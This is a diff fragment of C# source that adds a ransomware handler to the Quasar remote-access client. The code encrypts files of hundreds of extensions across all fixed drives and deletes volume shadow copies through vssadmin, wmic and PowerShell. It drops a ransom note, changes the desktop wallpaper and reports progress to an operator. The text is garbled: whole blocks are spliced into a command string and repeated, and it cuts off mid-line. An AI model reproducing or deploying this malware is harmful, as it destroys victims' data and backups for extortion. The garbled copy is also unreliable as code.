".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + private void WipeVolumeShadowCopies(ISender sender) + { + try + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Deleting volume shadow copies...", + IsComplete = false + }); + + // Method 1: vssadmin delete shadows /all /quiet + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "vssadmin.exe", + Arguments = "delete shadows /all /quiet", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 2: wmic shadowcopy delete + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "wmic.exe", + Arguments = "shadowcopy delete", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 3: PowerShell Get-WmiObject Win32_ShadowCopy | ForEach-Object {using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Wipe volume shadow copies if requested + if (ransomware.WipeVolumeShadowCopies) + { + WipeVolumeShadowCopies(sender); + } + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (string file in files) + { + try + { + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + if ((currentCount + filesProcessed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "ENCRYPTING", + Message = $"Encrypted {currentCount + filesProcessed} files...", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + int filesFailed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + catch { } + } + + string message = $"Decryption completed. {filesProcessed} files decrypted."; + if (filesFailed > 0) + message += $" {filesFailed} files failed (wrong key or corrupted)."; + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = message, + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private Tuple DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed) + { + int filesProcessed = currentCount; + int filesFailed = currentFailed; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return Tuple.Create(filesProcessed, filesFailed); + } + + var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList(); + + foreach (string file in files) + { + try + { + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + + if (success) + filesProcessed++; + else + filesFailed++; + + if ((filesProcessed + filesFailed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "DECRYPTING", + Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)", + FilesProcessed = filesProcessed, + IsComplete = false + }); + } + } + catch + { + filesFailed++; + } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + } + catch { } + + return Tuple.Create(filesProcessed, filesFailed); + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var sf = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + } +} +.Delete()} + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-Command \"Get-WmiObject Win32_ShadowCopy | ForEach-Object {using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Wipe volume shadow copies if requested + if (ransomware.WipeVolumeShadowCopies) + { + WipeVolumeShadowCopies(sender); + } + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (string file in files) + { + try + { + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + if ((currentCount + filesProcessed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "ENCRYPTING", + Message = $"Encrypted {currentCount + filesProcessed} files...", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + int filesFailed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + catch { } + } + + string message = $"Decryption completed. {filesProcessed} files decrypted."; + if (filesFailed > 0) + message += $" {filesFailed} files failed (wrong key or corrupted)."; + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = message, + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private Tuple DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed) + { + int filesProcessed = currentCount; + int filesFailed = currentFailed; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return Tuple.Create(filesProcessed, filesFailed); + } + + var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList(); + + foreach (string file in files) + { + try + { + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + + if (success) + filesProcessed++; + else + filesFailed++; + + if ((filesProcessed + filesFailed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "DECRYPTING", + Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)", + FilesProcessed = filesProcessed, + IsComplete = false + }); + } + } + catch + { + filesFailed++; + } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + } + catch { } + + return Tuple.Create(filesProcessed, filesFailed); + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var sf = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + } +} +.Delete()}\"", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(15000); + } + catch { } + + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Volume shadow copies deleted.", + IsComplete = false + }); + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Failed to delete volume shadow copies: {ex.Message}", + IsComplete = false + }); + } + } + + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Wipe volume shadow copies if requested + if (ransomware.WipeVolumeShadowCopies) + { + WipeVolumeShadowCopies(sender); + } + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (string file in files) + { + try + { + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + if ((currentCount + filesProcessed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "ENCRYPTING", + Message = $"Encrypted {currentCount + filesProcessed} files...", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + int filesFailed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + catch { } + } + + string message = $"Decryption completed. {filesProcessed} files decrypted."; + if (filesFailed > 0) + message += $" {filesFailed} files failed (wrong key or corrupted)."; + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = message, + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private Tuple DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed) + { + int filesProcessed = currentCount; + int filesFailed = currentFailed; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return Tuple.Create(filesProcessed, filesFailed); + } + + var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList(); + + foreach (string file in files) + { + try + { + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + + if (success) + filesProcessed++; + else + filesFailed++; + + if ((filesProcessed + filesFailed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "DECRYPTING", + Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)", + FilesProcessed = filesProcessed, + IsComplete = false + }); + } + } + catch + { + filesFailed++; + } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + } + catch { } + + return Tuple.Create(filesProcessed, filesFailed); + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var sf = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | 